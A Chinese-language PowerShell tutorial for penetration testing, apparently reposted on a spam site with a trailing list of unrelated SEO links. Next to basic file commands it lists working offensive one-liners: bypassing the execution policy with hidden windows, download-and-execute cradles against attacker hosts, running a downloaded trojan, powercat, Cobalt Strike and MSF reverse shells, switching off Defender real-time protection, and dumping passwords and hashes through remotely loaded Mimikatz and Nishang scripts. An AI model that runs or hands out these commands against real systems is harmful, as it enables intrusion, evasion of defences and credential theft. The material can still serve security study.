当前位置: 首页 > news >正文

wap网站的开发网站设计的基本原则

wap网站的开发,网站设计的基本原则,上海高档网站建设,印度新冠肺炎疫情最新情况目录 Windows PowerShell PowerShell的执行策略 绕过执行策略执行PowerShell脚本 PowerShell的常用文件类命令 PowerShell远程下载文件并执行 渗透测试常用的PowerShell命令 Powershell导入文件 Windows PowerShell Windows PowerShell是一种命令行外壳程序和脚本环境&…

目录

Windows PowerShell

PowerShell的执行策略

绕过执行策略执行PowerShell脚本

PowerShell的常用文件类命令

PowerShell远程下载文件并执行

渗透测试常用的PowerShell命令

Powershell导入文件 


Windows PowerShell

Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在Windows7及其以上的系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中,它可以直接在内存中运行。

各操作系统的PowerShell版本

操作系统PowerShell版本
Windows7、Windows Server20082.0
Windows8、Windows Server20123.0
Windows8.1、Windows Server2012 R24.0
Windows10、Windows Server20165.0

一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列的PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为.ps1。

在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,一个是x86版本的。这两个版本的执行策略不会互相影响,可以把它们看成是两个独立的程序。x64版本PowerShell的配置文件在   C:\Windows\SysWOW64\WindowsPowerShell\v1.0 目录下。

PowerShell的优点

  • Windows7以上的操作系统默认安装
  • PowerShell无须写到磁盘中,它可以直接在内存中运行。
  • 可以从另外一个系统中下载PowerShell脚本并执行
  • 很多杀毒软件检测不到PowerShell的活动
  • cmd通常会被杀毒软件阻止运行,而PowerShell不会
  • PowerShell可以用来管理活动目录

查看PowerShell版本

  1. Get-Host
  2. 或者
  3. $PSVersionTable.PSVERSION

PowerShell的简单使用

可以执行 ctrl+R ,输入PowerShell 调出PowerShell,也可以在cmd下输入powershell进入,还可以在cmd下输入powershell命令,但是在每条命令之前加上powershell help查看PowerShell的帮助。

PowerShell的执行策略

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用:Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。

  • Restricted:脚本不能运行(默认设置)
  • RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行
  • Unrestricted:允许所有的脚本执行

可以看到,我们PowerShell脚本当前的执行策略是 AllSigned。

修改PowerShell执行策略:

Set-ExecutionPolicy 策略名       #该命令需要管理员权限运行

绕过执行策略执行PowerShell脚本

在渗透测试时,需要采用一些方法绕过策略来执行PowerShell脚本:

下载远程PowerShell脚本绕过权限执行

经过测试,在cmd窗口执行远程下载的powershell脚本,不论当前策略,都可以直接运行。而powershell窗口不行。

  1. #cmd窗口执行以下命令
  2. powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
  3. 在powershell窗口执行
  4. IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

绕过本地权限执行

上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本

powershell -exec bypass  .\test.ps1

本地隐藏绕过权限执行脚本

powershell.exe -exec bypass -W hidden -nop  test.ps1
  • ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则
  • WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏
  • -command(-c):执行powershell脚本
  • NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件
  • NoLogo:启动不显示版权标志的PowerShell
  • Nonlnteractive(-noni):非交互模式
  • Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要 
  • -enc  base64: 把ps脚本编码成base64来执行,实战用的最多

PowerShell的常用文件类命令

在PowerShell下,命令的命名规范很一致,都采用了动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PoerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls 。

文件操作类的PowerShell命令

  1. 新建目录testNew-Item test -ItemType directory
  2. 删除目录testRemove-Item test
  3. 新建文件test.txtNew-Item test.txt -ItemType file
  4. 新建文件test.txt,内容为 helloNew-Item test.txt -ItemType file -value "hello"
  5. 删除文件test.txtRemove-Item test.txt
  6. 查看文件test.txt内容:Get-Content test.txt
  7. 设置文件test.txt内容tSet-Content test.txt -Value "haha"
  8. 给文件test.txt追加内容:Add-Content test.txt -Value ",word!"
  9. 清除文件test.txt内容:Clear-Content test.txt

PowerShell远程下载文件并执行

cmd窗口下载文件

管理员权限才可以下载到C盘目录下,普通权限不能下在到C盘下。DownloadFile函数必须提供两个参数

  1. #下载文件到指定目录
  2. powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
  3. #下载文件到当前目录
  4. powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');

cmd窗口下载文件并执行(exe)

远程下载木马文件并执行

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

cmd窗口下载文件并执行(powershell脚本) 

远程下载 test.ps1 脚本,直接执行,该命令可以绕过powershell的执行策略。

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

远程下载 powercat.ps1 脚本,并带参数运行,该命令可以绕过powershell的执行策略

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

渗透测试常用的PowerShell命令

关闭Windows自带的Defender防火墙(需要管理员权限)

powershell Set-MpPreference -disablerealtimeMonitoring $true

在cmd窗口下执行,将远程主机上的test.exe 下载到本地的D盘下

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

cmd窗口下利用Powershell反弹NC shell  

  1. 在cmd窗口执行
  2. powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
  3. 在powershell窗口执行
  4. IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

cmd窗口下利用Powershell反弹CobaltStrike shell 

  1. 在cmd窗口执行
  2. powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
  3. 在powershell窗口执行
  4. IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))

cmd窗口下利用Powershell反弹MSF shell 

  1. 在cmd窗口执行
  2. powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
  3. 在powershell窗口执行
  4. IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1

远程加载PowerShell脚本读取明文密码

需要管理员权限

  1. 在cmd窗口执行
  2. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
  3. 在powershell窗口执行
  4. IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

 远程加载PowerShell脚本读取密码hash值

需要管理员权限

  1. 在cmd窗口执行
  2. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
  3. 在powershell窗口执行
  4. IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

Powershell导入文件 

在大型的Powershell项目下,通常会有 .ps1 、.psd1 和 .psm1 几种后缀的文件。如PowerSploit工具

下面说下这几种后缀文件的用法。

  • .ps1 文件就是PowerShell脚本文件,该文件内容就是powershell语法
  • .psd1 文件是这个模块的介绍
  • .psm1 是模块文件

对于 .psm1 和 psd1 文件,可以使用以下命令进行导入

  1. Import-Module .\PowerSploit.psm1
  2. Import-Module .\PowerSploit.psd1

然后输入命令:Get-Command -Module PowerSploit 查看导入的模块都有哪些功能

对于.ps1文件,既可以使用  Import-Module 也可以使用 . 进行导入

  1. Import-Module .\Get-Information.ps1
  2. . .\Get-Information.ps1

注:以上所有的命令都建议在cmd窗口执行!!

参考书籍:《Web安全攻防-渗透测试实战指南》

相关文章:PowerSploit收集域信息

                  一些值得收藏的PowerShell工具

http://www.hrbkazy.com/news/11341.html

相关文章:

  • 网站推广有哪些常用的方法东莞百度推广排名
  • 运营推广怎么做关键词怎么优化
  • dw中用php做网站什么是营销渠道
  • 设计网络网站建设网站seo方案
  • 官方网站模版东莞seo建站投放
  • 住房和城乡建设部网站投诉电话百度推广渠道户
  • 企业花钱做的网站出现违禁词鸿星尔克网络营销
  • 柳州网站虚拟主机公司seo是搜索引擎吗
  • 枣庄做网站制作苏州百度推广分公司电话
  • wordpress隐藏路径郑州seo价格
  • 开发企业网站的公司自己如何制作网页
  • joomla 1.5 网站建设基础教程企业网站seo诊断报告
  • 怎么自己做网址手机版百度搜索推广优化师工作内容
  • 手机制作钓鱼网站seo搜索引擎优化工作内容
  • 宣传类的网站怎么做百度云搜索引擎入口官方
  • 公司品牌vi设计升级seo排名是什么意思
  • 水墨 网站源码如何设置淘宝友情链接
  • 春花直播搜索引擎营销优化诊断训练
  • 网站推广的主要方法有哪些seo发展前景怎么样啊
  • 美食介绍网站建设论文目前推广平台都有哪些
  • 教育网站怎么做弹窗的推广网址
  • 集美培训网站建设深圳海外推广
  • 创建百度网站企业整站优化
  • 网络服务提供商有哪些百度seo排名如何提升
  • wordpress 整站移植友情链接交换平台免费
  • b2b网站网络推广如何用html制作一个网页
  • 石材做网站汕头seo建站
  • 在中国做采购在哪个网站找产品品牌策划书
  • 做视频有赚钱的网站怎样建立自己网站
  • 建筑资质证书查询网站微信营销策略